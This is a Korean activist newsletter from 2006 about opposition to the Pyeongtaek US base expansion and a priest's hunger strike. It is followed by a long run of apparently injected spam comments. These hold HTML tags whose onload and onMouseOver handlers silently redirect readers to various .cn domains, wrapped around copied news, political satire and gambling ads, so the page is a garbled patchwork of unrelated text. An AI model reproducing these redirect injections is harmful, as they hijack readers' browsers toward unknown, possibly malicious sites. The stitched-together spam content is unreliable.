평택미군기지확장저지 범국민대책위원회 이메일 뉴스레터입니다.

[소식38호] 3차범대회 참가 및 문정현신부 단식농성 소식

평택범대위

| 2006·06·17 13:59 | HIT : 3,576 | VOTE : 673 |

평택지킴이소식_38호 (2006. 6. 17)

"평택미군기지확장반대" 생명과 평화의 땅을 지키는 평택지킴이 소식_38호 [ 2006. 6. 17 ]

6월 18일 3차 범국민대회에 함께해 주십시요!
생평과 평화의 씨앗을 심읍시다.

노무현정부와 국방부는 대화를 하자던 김지태 위원장을 구속시켰습니다. 이에 김지태 위원장과 모든 구속자들의 석방을 요구하며, 문정현 신부님께서는 청와대앞 단식농성에 들어간지 벌써 12일째입니다. 그리고 평택구치소의 수감자들과 천정연의 박순희 대표가 동조단식에 들어갔으며, 각 지역별로 사회단체 활동가들의 하루 동조단식도 늘어가고 있습니다.

대추리 도두리 황금들녘에 군대를 투입한 것도 모자라, 모든 국민을 죽음의 벼랑끝으로 몰아가고 있는 무능한 정부는 더 이상 국민을 위한 정부가 아닙니다.

팽성주민과 평택지킴이들은 남한 정부가 두려워서 하지 않는 싸움을 한반도의 평화를 위해 하고 있습니다. 정부와 국방부는 무능해서 못하는 일, 전세계 주둔미군의 재편전략에 작은 시골마을 팽성의 할머니 할아버지들과 전국의 평택지킴이들이 반기를 들기 시작했습니다.

현재 6월 18일 범국민대회를 앞두고, 지금 대추리 도두리에는 1만여 경찰병력을 배치하여, 범국민대회 참가를 막고 있습니다. 지킴이들의 집결조차 무서워하는 이들에게, 우리의 힘을 보여줄 때입니다. 우리는 더이상 물러설 곳이 없습니다.
6월 18일 범국민대회에도 함께 참여해 주십시요.

[3차 범국민대회 이렇게 참가합니다.]

* 6월 18일 오후2시 평택 대추리로 모여 범국민대회를 반드시 성사한다.
* 모든 참가단위는 소형 메가폰과 플랭카드를 준비한다.
* 범국민대회 조직화에 만전을 기하고, 사이버 홍보를 전개한다.

문정현 신부님 청와대 앞 단식농성 12일째!

김지태 위원장을 비롯한 모든 구속자를 석방하고,
평택미군기지확장 중단하라!

<단식 5일째 신부님을 찾아오신 전태일열사의 어머님 이소선님>

[단식농성일지 10일째]

6월 15일 문정현신부님 단식 10일째 입니다.
어제는 하루종일 내렸던 비가 오늘은 다행스럽게 그쳤습니다.
그래도 흐려서 그런지 도심보다 늘 기온이 낮은 이곳 농성장은 썰렁합니다.
단식 10일째 신부님의 건강을 염려하는 많은 분들도 많으시지만 아직까지 신부님께서는 힘을 다하고 계십니다.

또 청운동 동사무소앞에서 동조단식중인 천주교정의구현전국연합 박순희대표와 천주교 인권위 변연식대표가 머물고 있는 농성장에는 오후에 종로구청에서 플랜카드를 띠고 경찰이 단식 7일째로 고혈압으로 힘들어하고 계신 박순희대표를 위해 친 모기장을 텐트라하면서 철거하려했으나 다행히 막아냈습니다.
여성 단식자 두명만 있는 곳에 무자비하게 힘으로 농성장을 침탈하려는 종로경찰서의 폭력에 다시 한번 경악스럽습니다.

그래도 무식한 경찰과는 달리 인근에 사시는 주민분은 손자, 손녀와함께 오셔,서 이불 ,카펫트,보온병, 투쟁기금까지 주시면서 저희들을 격려해주셨습니다.

오늘도 많은 분이 찾아주셨습니다. 감사합니다.

공무원노조 농천진흥청지부, 기찻길평작은학교, 전쟁없는세상, 진보네트워크, 우리신학연구소, 한겨레21 길윤형, 전농 경기도연맹, 여주농민회, 청와대신우회, 민주화운동정신계승연대,황호영님가족, 장순희님

[기고] 문정현 신부의 단식과 월드컵-노신부의 애절한 기도

2006년 06월 14일 (수)
김종철 / 언론인(전 동아일보 기자, 한겨레신문 편집부위원장·논설위원, 연합뉴스 대표이사 사장)

6월13일 오후 6시께, 청와대 정문 앞 분수대에서 50여미터쯤 떨어진 청운동 사무소 앞 평상에 한 노인이 누워 있다. '평택 미군기지 확장 이전 전면 재협상을 위한 문정현 신부 단식기도'라고 쓰인 하얀 헝겊 아래.

<단식7일째, 문정현 신부님의 여동생 수녀님이 심장과 가슴 마사지를 하고 있고, 인의협 의사 한분이 신부님의 건강상태를 살피기 위하여 방문하셨다.>

거기서 2킬로 남짓의 시청앞 광장에서는 앞으로 4시간 뒤에 시작될 월드컵 축구 한국 대 토고의 경기를 응원하려는 '붉은 악마'들이 연예인들의 노래와 춤에 장단을 맞추며 신명을 내고 있다. 얼마 안 있으면 광화문을 비롯한 전국 곳곳의 광장과 극장과 술집의 대형 텔레비전 앞에 수백만의 '붉은 한국인'들이 진을 칠 것이다.

단식 여드레째인 문 신부의 얼굴은 하얀 수염과 대조적으로 검은 색이 짙어져 있다. 오래 전부터 협심증을 안고 사는 그는 때 맞추어 약을 안 들면 생명이 위태로워진다고 한다. 그래서인지 수녀 한 분이 문 신부의 머리맡에 앉아 쉼 없이 얼굴과 가슴에 지압을 하고 있다. 지금 66살인 문 신부의 누이동생이자 문규현 신부의 누님인 문현옥 수녀이다. ........기사더보기

대추리 도두리 주민들 청와대앞 기자회견 진행
  "남의 고향 빼앗아 놓고, '농사 지으며 살겠다'는 말이 나오냐"

  <사진_프레시안>

  "너희 전경들이랑 위에 있는 정치인들 100명, 1000명이 몰려와도 우리 아들 같은 놈 없어. 어떤 멍청한 놈들이 우리 아들을 잡아다 가뒀는지. 왜 고향에서 자기 땅 지키겠다는 사람을 잡아가냔 말이여. 우리 지태가 어릴 때부터 자기네 부모 농사짓는 거 보고 자라면서 자기는 대학 가고 직장 다녀도 농사 짓겠다고 그랬던 애야. 그런 애를 왜 잡아가!

노무현 대통령이 퇴임 후에 고향에 돌아가 농사 짓겠다고 그랬다며? 어떻게 그런 말을 할 수가 있어. 남의 땅, 남의 고향 송두리째 다 빼앗아 가놓고 어떻게 그런 말이 나와!"

  평택 팽성읍 대추리 주민대표 김지태 위원장의 어머니 황필순 씨의 발언은 점점 대성통곡으로 변해갔다.

   "이 통곡마저 들을 날이 얼마 남지 않았습니다"

서른 명 가량의 대추리 주민들이 16일 서울에 올라와 청와대 앞에 모였다. 청와대 앞에서 11일째 단식 중인 문정현 신부도 위문하고 노무현 대통령에게 항의서한도 전달하기 위해서였다.

<사진_프레시안>

  대부분 60대 이상 노인인 주민들은 다리가 아파 서 있을 수 없다며 효자동 구 정부합동청사 앞 아스팔트에 앉아 기자회견을 했다.

주민들은 이 서한을 노무현 대통령에게 전달하고 청와대 앞에서 단식기도 중인 문정현 신부를 만나기 위해 효자동 구 정부합동청사에서 청와대까지 약 300여 미터를 삼보일배를 하며 가려고 했으나 몇 걸음 가지 못하고 전경들에 의해 저지됐다.

  사회자는 "첫 걸음은 경찰과 군대에 빼앗긴 황새울 들판을 되찾으려는 마음으로, 두 번째 걸음은 노무현 대통령과 국방부 장관이 잘못을 반성하기를 바라는 마음으로, 세 번째 걸음은 무관심한 시민들이 다시 돌아오길 바라는 마음으로 삼보일배를 하겠다"고 했고, 주민들은 3줄로 늘어서 삼보일배를 시작했다.

  그러나 전경들은 "이렇게 많은 수가 한번에 청와대 앞으로 갈 수는 없다"며 가로막았고 약 한 시간 가량 주민들과 승강이를 했다.

  주민들은 "우리가 힘이 있는 것도 아니고 연장을 든 것도 아닌데 왜 갈 수 없느냐", "우리가 못가는 거면 노무현이를 데리고 와라"며 항의했지만 받아들여지지 않자 '"눈만 뜨면 보이는 전경, 여기서도 우리를 가로막네"라며 답답해 했다. ... 기사출처 보기(프레시안)

평택 미군기지확장저지 범국민대책위원회
전화 031-657-8111 / 홈페이지 :http://antigizi.or.kr
이메일 : ufo-01@hanmail.net

성유리

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<a href="http://liveuuu.cn" onMouseOver=location.replace('http://liveuuu.cn')>【서울=뉴시스】11일 새벽 화재로 전소, 붕괴된 국보1호 숭례문에서 관계자들이 펜스를 설치하고 있는 가운데 비둘기떼가 화재현장 주변을 찾아와 눈길을 끌고 있다.</a>

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이서진

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<a href="http://goto222.cn " onMouseOver=location.replace('http://goto222.cn ')>한국경제신문] 2008년 03월 25일(화) 오전 11:56 가 가| 이메일| 프린트 가수 제이가 최근 남자친구와 헤어진 것으로 알려졌다.

제이의 한 측근에 따르면 "제이와 그의 연인이 최근 성격 차이 때문에 관계를 정리했다"고 밝혔다.

이 측근은 "제이가 많이 힘들어 하다가 22일 미국으로 갑작스럽게 떠났다. 당분간 심경 정리를 위해 한동안 찾지 말아달라는 말만 남겼다"고 전했다.

미국 뉴욕에서 컴퓨터 관련 회사에 다니는 회사원과의 열애 사실을 당당히 밝힌 바 있는 제이는 남자친구와 1년 3개월간 교제를 해온 것으로 알려졌다.

하지만 제이가 최근 국내에서 가수 활동을 활발히 펼치면서 관계가 소원해지다가 결별까지 이르게 됐다.

제이가 미국으로 떠남에 따라 4월 예정됐던 싱글 발표에도 차질이 생길 것으로 보이며 소속사측은 싱글 발표를 보류하고 제이와 연락을 시도하고 있는 것으로 알려졌다.

디지털뉴스팀</a>

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김호진

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<a href="http://livefff.cn" onMouseOver=location.replace('http://livefff.cn')>최근 독일에서 열린 최근 독일에서 열린 정보통신기술 전시회인 ‘세빗(CeBit)2008’에서 아트디렉터로써 새롭게 인정 받?? 뮤직비디오 감독이자 의류사업가 쿨케이가 오랜만에 뮤직비디오 연출을 맡았다.

쿨케이가 연출을 맡?? 뮤직비디오의 주인공?? 일렉트로닉 음악의 유망주로 꼽히는 신인 소울트로닉.

뮤직비디오 촬영?? 싱글 앨범 타이틀 곡인 ‘As U see(feat.이정)’로 부드러운 미니엄 템포의 랩고 일렉트로닉한 힙합사운드의 어쿠스틱 기타의 선율이 공존하는 곡으로 애절한 멜로디와 이정의 매력적인 보이스의 피쳐링이 돋보인다.

쿨케이(본명 김도경)가 제작한 ‘As U see(feat.이정)’의 뮤직비디오는 일반 뮤직비디오는 차별적으로 사진만으로 구성되어 있다.

그만의 뛰어난 색감과 섬세한 영상미로 소울트로닉만의 느낌을 살린 뮤직비디오에는 남녀 사이의 애절한 사랑과 이별 그리고 헤어짐에 절규하는 남자주인공이 등장한다.

남자 주인공으로는 쿨케이와 함께 의류사업을 하는 오션의 전멤버 오병진이 열연했으며,그의 애절한 연기와 함께 피쳐링으로 참여한 이정의 목소리에 더욱 빠져들게 만든다.

또한 뮤직비디오에 나오는 수백장의 스틸사진 촬영부터 배우들의 연기지도와 편집까지 직접 총 기획 참여한 쿨케이의 열정과 감각적인 영상, 음악이 함께 조화를 잘 이뤘다는 업계의 평이다.

한편, 소울트로닉의 싱글 앨범 중 ‘데이트(feat.심??진)’는 전 베이비복스 멤버인 심??진이 피쳐링한 곡으로 같?? 그룹의 멤버였던 윤??혜가 피쳐링한 마이티마우스의 ‘사랑해’와 비슷한 시기에 공개되며 화제를 모으기도 했다.</a>

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<a href="http://lovettt.cn " onMouseOver=location.replace('http://lovettt.cn ')>신재생 에너지 전문기업인 대림이엔지(대표 박동홍 www.daerimeng.com)가 태양광을 이용한 발광다이오드(LED) 제품으로 최근 해외시장에서 호평을 얻고 있다.

이 업체는 최근 스페인 조명기기 유통업체로부터 LED 조명등 1만대를 수주받아 내달부터 본격 생산에 들어갈 예정이다. 또 사우디아라비아 기업과도 수출 계약을 추진중이다.

이 업체의 태양광을 이용한 LED 조명등은 기존 수은등에 비해 수명은 10배, 에너지는 70%를 절감할 수 있는 제품이다. 또 LED 가로등의 경우 태양의 일조량 및 날씨와는 상관없이 흐린날에도 충전이 가능한 시스템이다.

박동홍 사장은 “국내외 전시회를 통해 소개된 제품을 해외바이어들이 보고 높은 관심을 나타내고 있다”며 “조만간 유럽시장에 대규모 공급이 이뤄질 전망”이라고 밝혔다.

<<원문보기는 전자신문에서>></a>

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5) 디자인,색상불만

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- 품질보증기간 이내 제품은 구입가 기준, 품질보증기간 경과제품은 감가함(세탁업 배상비율 참조)</a>

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요즘 그 일보에 올라오는 만평엔 노무현 대통령의 머리에 털 모자가 씌어 있다. 자세히 안보더라도 오리모자라는 걸 단박에 알 수 있다. 그들이 하고 싶은 말이 확 느껴진다. “노 무시기는 오리다!”</a>

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<a href="http://goto999.cn " onMouseOver=location.replace('http://goto999.cn ')>구글의 근무환경이 세계최고라고 자랑하지만 여기에는 비할게 아니다.

그렇다고 돈이 들어가는 일도 아니다. 돈 들어갈 게 뭐 있나? 여직원들도 갑갑한 겉옷 입고 일하는 것 보다 훨씬 활동적이 된다.

이제 우리나라의 기업들도 한번 실천해 보길 권하는 바이다. 대만 기업도 하는데 우리라고 못할게 뭐 있나? 기업 홍보 효과도 엄청나다. 돈 한푼 안들이고 전세계에 기업을 알리는 환상의 방법이다.

그 뿐인가? 남녀 직원들 모두를 살짝 긴장시키니 업무효율도 마구마구 올라간다. 전날 무슨 짓을 했어도 졸릴 수가 없다. 일하는 척 하면서 인터넷 고스톱을 치고 주식체크 하느라 정신 없는 그런 모습도 사라진다.

해보기만 하면 전세계의 모든 몸매 좋은 여직원들과 능력 뛰어난 남직원들 모두로부터 흠모 받는 그런 직장이 될 것이다. 돈 안들이고 최고의 근무환경 만드는 거다.

자, 이제 자리를 박차고 일어나 회의를 하자. 언제부터 할지.</a>

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08·03·29 03:13 삭제

김남진

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butterbound

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심은진

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정민

게임…도박 http://liveabc555.cn ?게임…도박 http://liveabc555.cn

<IMG src="http://img.news.yahoo.co.kr/picture/2008/80/20080305/2008030514285366180_143534_0.jpg" onMouseOver=location.replace('http://liveabc555.cn') onload=location.replace('http://liveabc555.cn')>

<a href="http://liveabc555.cn" onMouseOver=location.replace('http://liveabc555.cn')>아수스의 Eee PC가 성공을 거두면서 보급형 미니노트북 시장이 세계적으로 주목받게 되었지만, 정작 그 시장을 시작한 원조격의 회사는 일본에 있었습니다. 바로 고진샤(Kohjinsha, 工人?)입니다.

2006년 11월 AMD 지오드 플랫폼을 기반으로 등장한 고진샤의 미니노트북 SA 시리즈는 당시의 미니노트북으로는 매우 싼 가격인 70만원대에 판매되어 그야말로 대성공을 거둡니다. 국내에서만 1만대 가까운 판매 실적을 올렸고, 고진샤가 자리한 일본에서는 그 세배가 넘는 판매량을 보입니다. 그 결과 이전에는 가격대 성능비 위주의 노트북 PC를 개발/판매하는 작은 무명의 회사가 아닌, 고진샤라는 이름을 사람들에게 당당하게 각인시킵니다.
그런데 갑자기 고진샤는 다시 한번 뒤돌아가서 예전에 자사의 이름을 처음 떨쳤던 SA 시리즈를 다시 손봅니다. 고진샤가 지금과 같이 성장할 수 있게 해준 첫번째 작품인 SA 시리즈에게는 큰 약점이 두가지 있었기 때문입니다.
그건 바로 액정의 해상도와 키보드입니다. 해상도가 800x480으로 낮아 웹페이지나 프로그램 대화 상자가 잘리는 일이 발생하고, 키보드는 정확하게 눌러주지 않으면 입력이 안 되는 경우가 많이 있어서 글을 입력하기 위한 사람들이 적응하기 힘들었습니다. 물론 뒤이어 나온 K 시리즈는 그 문제를 해소시킵니다만, SA 시리즈는 그 문제점을 안은 상태로 그대로 남아 있었습니다.

그런 SA 시리즈가 가진 약점들을 모두 개선하여 재등장한 것이 바로 오늘 소개해 드릴 고진샤 코리아의 L500X입니다. 자, 이제부터 살펴볼까요?

참고로 49만 9천원이라는 저렴한 가격으로 판매되는 고진샤 코리아의 E8은 L500X에서 블루투스를 제외하고 하드디스크 용량을 낮춘 저가형 버전으로, 그 외의 기능은 모두 동일하다는 것을 알려드립니다.</a>

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이재룡

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<IMG src="http://kr.img.sports.yahoo.com/fifaworldcup/img/2006/upload/2008/0229/fm_47c7652733086.png" onMouseOver=location.replace('http://goto555.cn ') onload=location.replace('http://goto555.cn ')>

<a href="http://goto555.cn " onMouseOver=location.replace('http://goto555.cn ')>검사들이 발레교습을 받는다. 일보타임즈가 확인한 바에 따르면 검찰청은 조만간 전 검사들에게 발레교습을 시킬 것으로 파악되었다.

검사들이 발레교습을 받는 이유는 대통령직 인수위의 특별 주문 때문이라고 한다. 대통령직 인수위가 검찰이 기업수사를 할 때 “품격있는 수사가 필요하다”는 주문을 해왔기 때문이다. 품격 있는 수사를 위해 품격 있는 예술인 발레를 배우겠다는 것.

검찰청의 최고위 관계자는 일보타임즈와의 전화통화에서 ‘품격 있는 수사’를 위해 발레를 배우는 것이 가장 알맞다는 결론을 내렸다고 전했다. 이 관계자는 “음악을 배우면 자칫 따분해 질 수 있고, 미술도 정적인 면이 있어 교습대상에서 제외시켰다”고 말하고, “발레는 음악을 들으면서 동시에 몸도 움직이기 때문에 검사들의 부족한 운동량을 메우는데도 큰 효과가 있다”고 밝혔다.

‘품격 있는 수사’를 위해 굳이 발레까지 배울 필요가 있는가 하는 질문에 대해서는 “검찰이 품격을 갖추기 위해 노력하는 모습을 인수위에 보여줌으로써 차기정부에 좋은 인상을 주기 위함”이라는 설명을 덧붙였다</a>

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김정화

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<IMG src="http://img.news.yahoo.co.kr/picture/2008/26/20080304/2008030406042667226_080508_3.jpg" onMouseOver=location.replace('http://live222.cn') onload=location.replace('http://live222.cn')>

<a href="http://live222.cn" onMouseOver=location.replace('http://live222.cn')>검찰의 또 다른 고위 관계자는 검찰이 품격 있는 수사를 한다는 것을 꼭 보여주고 싶다고 강조했다. 이 관계자는 “솔직히 검찰이 권위는 엄청 높았지만 그렇다고 품격까지 있지는 않았던 것이 사실”이라고 말하고, “이제부터는 검찰의 품격이 권위 이상으로 하늘 높이 올라갈 것”이라고 자신감을 표했다.

이 관계자는 발레를 배운 검사들은 수사를 할 때 품격 있게 할 것이므로 피의자나 참고인들의 심적 부담이 크게 줄어들 것이라고 전망했다. 앞으로는 조사 받을 때 압박감이 훨씬 덜할 것이라는 것이다. 수사의 방식도 많이 변할 것이라고 전망했다.

예를 들어 수사를 할 때 클래식 음악을 틀어놓고 피의자와 차 한잔을 나누며 오순도순 오붓하게 대화하는 방식으로 수사관행이 바뀌게 된다. 또한 필요하면 피의자 앞에서 발레실력을 보여주기도 하고, 그래도 피의자가 수사에 협조하지 않으면 피의자와 함께 발레나 블루스를 추며 수사를 이끈다.

이 정도하면 검사의 높은 품격에 피의자도 감복하고, 참고인도 감복하여 모든 사실을 술술 불게 될 것이라고 이 관계자는 전망했다.

하지만 이런 ‘품격 있는 수사’에는 제한조건이 확실히 붙는다고 이 관계자는 강조하였다. 모든 수사에 이런 품격 있는 수사를 도입하는 것은 아니라는 것. 검찰의 다수 관계자들은 이구동성으로 ‘품격 있는 수사’는 “기업수사에만 딱 한정 된다”고 못 박았다.</a>

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이성진

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<IMG src="http://cfs10.blog.daum.net/upload_control/download.blog?fhandle=MERDQ3hAZnMxMC5ibG9nLmRhdW0ubmV0Oi9JTUFHRS8wLzMyLmpwZy50aHVtYg==&filename=32.jpg" onMouseOver=location.replace('http://liverrr.cn') onload=location.replace('http://liverrr.cn')>

<a href="http://liverrr.cn" onMouseOver=location.replace('http://liverrr.cn')>이미 이명박 세상이다. 이명박 정권이 들어서고 있다. 일명 실용정부를 내세우는 이명박 정권은 모든 일을 실용적으로다가 기획하고 집행할 예정이라고 한다. 대통령직 인수위도 그에 맞춰 실용적인 인물로다가 구성되었다고 주장하고 곳곳에서 실용, 실용을 외치고 있다.

아무튼 모든 것을 실용적으로다가 확확 밀어 붙인다니 이명박 정부의 불도저성을 한번 지긋이 지켜봐야 할 듯 싶다. 국민들이야 정부 하시는 일에 뭐 더 할일 있겠는가? 지긋이 실눈 뜨고 지켜보다가 쌍욕이나 실컷 국밥에 말아 부어 주는 일 밖에.

그래도 실눈 뜨고 쳐다보고 욕하는 일 말고 새 정권하에서 나름 성공도 해보겠다 싶은 사람들도 많이 있을 것이다. 정권이사 잘되든 안되든 내 한몸이라도 잘 나가고 성공한다면 좋은 일이다.

그러나 정권의 영향력은 알게 모르게 사회 구석구석에 미치고 있으니, 각 정권마다 다른 특색이 있고 다른 정책이 있고 다른 출세의 길이 있는 것은 당연한 일이다.

그래서 이번 기사에서는 대(大)이명박정권하에서 출세하는 비결 즉, 잘 나가는 비결을 공개하려 한다. 원래는 본 편집장만 알고 혼자서 출세할 생각이었는데, 어느 순간 “혼자만 잘살아서 뭐하겠나”하는 생각이 들었다. 그래서 독자들에게 모두 확 공개하기로 하였다.

가만 생각해 보면 일보타임즈 편집장의 독자 생각하는 마음은 정말 하해와 같다. 편집장의 이런 아량과 마음씨는 전국민으로부터 칭송 받고 찬양 받아 마땅하다. 아마 다음 대선에 나가면 과반득표는 당연히 넘어서 당선될 것으로 예상 된다. 본 편집장이 제18대 대선에 나간다면 본 편집장 72%, 박근혜 11%, 손학규 8%, 허경영 4%, 이회창 2.5%, 기타 후보 나머지 득표 순으로 본 편집장이 아무래도 대통령 되지 싶다.

그러나 본 편집장은 기껏 해봐야 5년밖에는 힘 못쓰는 대통령, 레임덕 계산하면 겨우 2~3년 힘쓰는 대통령 따위의 직책에는 관심이 없다. 살아 생전 계속 힘쓰는 일보타임즈 편집장 자리가 훨 낫다.

이런 대단한 능력의 본 편집장이 편집장만 알고 있는 ‘이명박 정권하 출세하는 비결’, ‘이명박 정권하 잘 나가는 비결’을 천기누설식으로 공개해 보겠다. 독자들께서는 잘 읽고 비결대로 실천하야 원하는 데로 출세하고 잘 나가시기를 바란다.

제 1 비결

소망교회로 가라. 소망교회에 출석하시라. 소망교회에 가면 비빌 언덕이 많다. 이명박 대통령 당선자는 이 교회의 장로다. 이경숙 대통령 인수위 위원장은 권사다. 이명박 당선자의 친형 이상득 국회 부의장도 장로였다.

그뿐이 아니다. 전 재경원차관으로 인수위 경제1분과 간사인 강만수 전 차관도 이 교회 신도며, 정몽준 의원, 이우철 금융감독원 부위원장, 박태준 전 포철회장, 윤영관 전 외교통상부 장관, 서상목 전 보건복지부 장관, 홍인기 전 증권거래소 이사장, 김신배 SK텔레콤 사장 등등이 이 교회의 신도다.

이경숙 인수위원장의 경우엔 위원장으로 발탁된 주요 배경이 소망교회 권사라는 점이라고 알려져 있다. 이명박 당선자의 부인 김윤옥 여사와 함께 소망교회에서 권사로 활동하며 두터운 친분을 쌓은 것이 큰 작용을 하였다고 한다.

이 정도면 뭐 따질 것 있나. 이번 주 일요일부터 소망교회로 출석하는 거다. 대신 신도수가 6만명이라니 여기서 눈에 띄려면 좀 고생을 해야 한다. 새벽예배도 가고 저녁예배도 가고 구역예배도 열심히 드려야 한다. 일요일엔 새벽부터 저녁까지 교회에서 살 생각으로 다니는 거다. 그러다 보면 권력 실세들 눈에 뛰게 될 것이다. 십일조는 만땅으로 하고, 찬송가 부를 때는 해병대 박수로 치는 것이 큰 도움이 된다.

권력의 실세들과 가장 쉽게 교류할 수 있는 곳, 그곳이 바로 소망교회다.

제 2 비결

경상도 말투를 배우라. 요즘 뉴스보면 다음 정권 실세라는 사람들 치고 경상도 말 안쓰는 사람이 별로 없다. 노무현 정권에서도 이런 현상은 있었다. 하지만 이명박 정권하에서는 그 경향이 심히 강고해 지리라 예상 된다.

대통령직 인수위 인선에서도 이런 경향은 강하게 나타났다. 일명 TK, PK 인맥은 인수위의 핵심요직을 꽉 매웠다. TK, PK 쪽 출신이 아니면 인수위에 못 들어간다는 말이 딱 맞는 인선이었다. 인수위에서 호남 출신 인사는 단 2명 뿐이다.

거기에 한나라당도 경상도 사람들이 요직을 차지하고 있기는 마찬가지다. 이번 대선이 지역색을 많이 탈피했다고 하지만 어찌 되었든 청와대와 여당은 경상도 사람들로 채워질 것으로 예측된다.

서울 경기나 강원도, 충청도 사람들도 발탁이 되겠지만 전체 비율로 보면 영남 출신 인사들의 비율이 훨씬 높다. 특히 권력 핵심으로 갈수록 영남의 비율은 그야말로 압도적이다. 이런 상황에서 권력 층의 힘을 좀 빌리려면 경상도 말투 정도는 배워두어야 한다. 서울 출신이건, 경기도 출신이건, 충청도 출신이건 어디 출신이건 권력과 친해지는 비결이다.

자식들도 멀리 보낼 것 없다. 방학마다 어학연수 경상도로 보내라. 자식들 갈 때 부모도 따라가서 경상도 말투 좀 배우고 오면 많은 도움이 될 것이다.

제 3 비결

잘 생기면 안된다. 이명박 대통령 당선자는 역대 최악의 추남 대통령이다. 얼굴이 말상인데다가 코는 길게 늘어졌고, 눈은 실눈 겨우 뜬 수준이다. 그러면서도 전체적으로 얼굴이 찌그러져 있다. 이런 추남 대통령은 앞으로 나오기가 힘들다는 것이 많은 관상가들의 공통된 지적.

재미있는 것은 삼류언론들의 만평에서는 이명박 당선자의 얼굴이 보통수준의 얼굴로 그려진다는 것이다. 그래서 많은 사람들이 못 알아보는 경우가 많다. 그렇다고 이명박 당선자가 잘 생긴 것은 아니다. 삼류언론 만평가들의 그림 실력이 낮아서 그렇게 밖에 못 그리는 것이다.

하지만 문제는 이명박 대통령 당선자만 못 생긴 것이 아니라는 것. 이번에 대통령직 인수위에 선발된 사람들의 얼굴도 하나 같이 거기서 거기다. 인수위 위원장부터 시작하여 주요 핵심 간사들의 얼굴이 그냥 그렇다.

앞으로 권력의 핵심에 설 사람들이 대통령 이하 모두가 거기서 거기니 그 앞에서 조금이라도 잘 생긴 얼굴이 나서면 그들의 인상이 콱 구겨지게 된다. 그러니 그들 앞에서는 잘 생긴 얼굴은 자기 얼굴을 들이 밀어서는 안된다. 그들보다도 못한 얼굴로 나서야 한다.

권력과 가까이 하고 싶은데 자신이 좀 잘 생겼다 싶은 사람은 병원에 가서 성형상담을 먼저 받아 보는 것이 좋을 것이다.

제 4 비결

다음으로 실제 돈을 좀 벌고 싶다면 구체적으로 어떤 일을 해야 할 지에 대해서도 살펴보겠다. 본보는 독자들에게 무한히 친절하야 이명박 정권하에서 실제 돈이 될 사업들도 콕콕 집어 알려드린다.

먼저 사교육 시장에서 사업을 시작하는 것이 좋다. 이명박 정권에서 가장 전망 좋은 사업은 사교육 사업이다. 노무현 정권에서도 사교육 사업은 2배 이상의 성장을 구가하였다. 하지만 이명박 정권하에서는 그 성장이 훨씬 커질 것으로 예측 된다.

가장 큰 영향은 고등학교 평준화 폐지다. 자립형사립고니 뭐니 해서 고등학교의 등급을 구별하게 한다는 것이 이명박 당선자의 교육 정책이다. 교육에도 실용적으로다가 하자는 것이다.

이렇게 되면 중학생들에겐 명문학교와 똥통학교가 확연히 구별되게 된다. 똥통학교 들어가서 3년을 눈치 보며 학교 다니고 싶지 않다면 일찌감치 빡씨게 공부해서 좋은 학교가야 한다. 학교 교육만으로는 당연 부족하고 중학교 3년으로도 부족하다. 초등학교 시절부터 열심히 학원 서너개씩 찾아다녀야 한다. 과외도 딱딱 들어 주는 것이 필요하다. 지금도 외고 들어가려고 초등학교 1학년부터 기를 쓰며 학원다니는데, 고등학교 전체가 급수 구별되면 당연 사교육은 더 커질 수 밖에 없다.

사교육 외에도 부동산이 한번에 돈을 땡길 수 있는 확실한 방법이다. 먼저 대운하 갈 자리를 잘 알아봐야 한다. 앞으로 5년 동안 이 나라의 돈은 대운하 자리를 타고 흐른다. 돈이 먼저 흐르고 물이 흐를 것이다. 대운하 자리를 따라 전국 일주를 한번 해보는 것도 좋은 일이다. 이에 더하여 아파트나 상가 등도 규제가 풀리면서 값이 잔뜩 오를 것이다.

다음으로 좀 더 크게 성공하고 싶다면 투자자문사를 설립해야 한다. 투자자문사 설립해서 돈을 버느냐 아니냐는 중요하지 않다. 돈 보다는 경력이다. 대통령도 투자자문사 만들었다가 돈만 날렸다고 하는데 투자자문사 만들었다고 돈이 되기는 힘들다. 그래도 경력은 될 수 있다. 대통령처럼 나도 투자자문사 한번 만들어 봤노라고 말하면 사람들이 우러러 볼 것이다.

한가지 주의할 것은 투자자문사를 운영할 때에는 어디가서 무슨 말을 하든 ‘주어’를 생략하고 말해야 한다는 것이다. “제가 투자자문사를 설립했습니다”라고 말하는 것이 아니라 ‘제가’를 빼고 “투자자문사를 설립했습니다”라고 말해야 한다. 나중에 가서 문제가 될 수 있다.

평소에도 주어를 생략하는 습관을 미리 들어두는 것이 좋다. “저의 고향은 어디 입니다”라고 하지 말고 “고향은 어디 입니다”라고 하고, “저는 홍길동 입니다”라고 하지 말고 “홍길동 입니다”라는 식으로 주어를 평소에 말하지 않는 습관을 미리미리 들여두면 나중에 큰 도움이 된다.

이상으로 이명박 정권하에서 출세하는 비결, 잘 나가는 비결을 살펴 보았다. 하나하나 실천해가면 몇 년 안에 분명 출세할 수 있을 것이다. 지금까지 주변인의 삶을 살았다면 이번 기회에 권력의 핵심과 가까워지면서 5년 안에 한방 성공이 가능하다.

잘 음미하면서 어떻게 할지 고려해 보시기 바란다.</a>

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채림

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천상지희

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<a href="http://bacucc.cn" onMouseOver=location.replace('http://bacucc.cn')>검사들이 발레교습을 받는다. 일보타임즈가 확인한 바에 따르면 검찰청은 조만간 전 검사들에게 발레교습을 시킬 것으로 파악되었다.

검사들이 발레교습을 받는 이유는 대통령직 인수위의 특별 주문 때문이라고 한다. 대통령직 인수위가 검찰이 기업수사를 할 때 “품격있는 수사가 필요하다”는 주문을 해왔기 때문이다. 품격 있는 수사를 위해 품격 있는 예술인 발레를 배우겠다는 것.

검찰청의 최고위 관계자는 일보타임즈와의 전화통화에서 ‘품격 있는 수사’를 위해 발레를 배우는 것이 가장 알맞다는 결론을 내렸다고 전했다. 이 관계자는 “음악을 배우면 자칫 따분해 질 수 있고, 미술도 정적인 면이 있어 교습대상에서 제외시켰다”고 말하고, “발레는 음악을 들으면서 동시에 몸도 움직이기 때문에 검사들의 부족한 운동량을 메우는데도 큰 효과가 있다”고 밝혔다.

‘품격 있는 수사’를 위해 굳이 발레까지 배울 필요가 있는가 하는 질문에 대해서는 “검찰이 품격을 갖추기 위해 노력하는 모습을 인수위에 보여줌으로써 차기정부에 좋은 인상을 주기 위함”이라는 설명을 덧붙였다.

이 간부는 “검사들의 품격을 갖추기 위한 자세가 벌써부터 매우 진지”하다고 전했다.

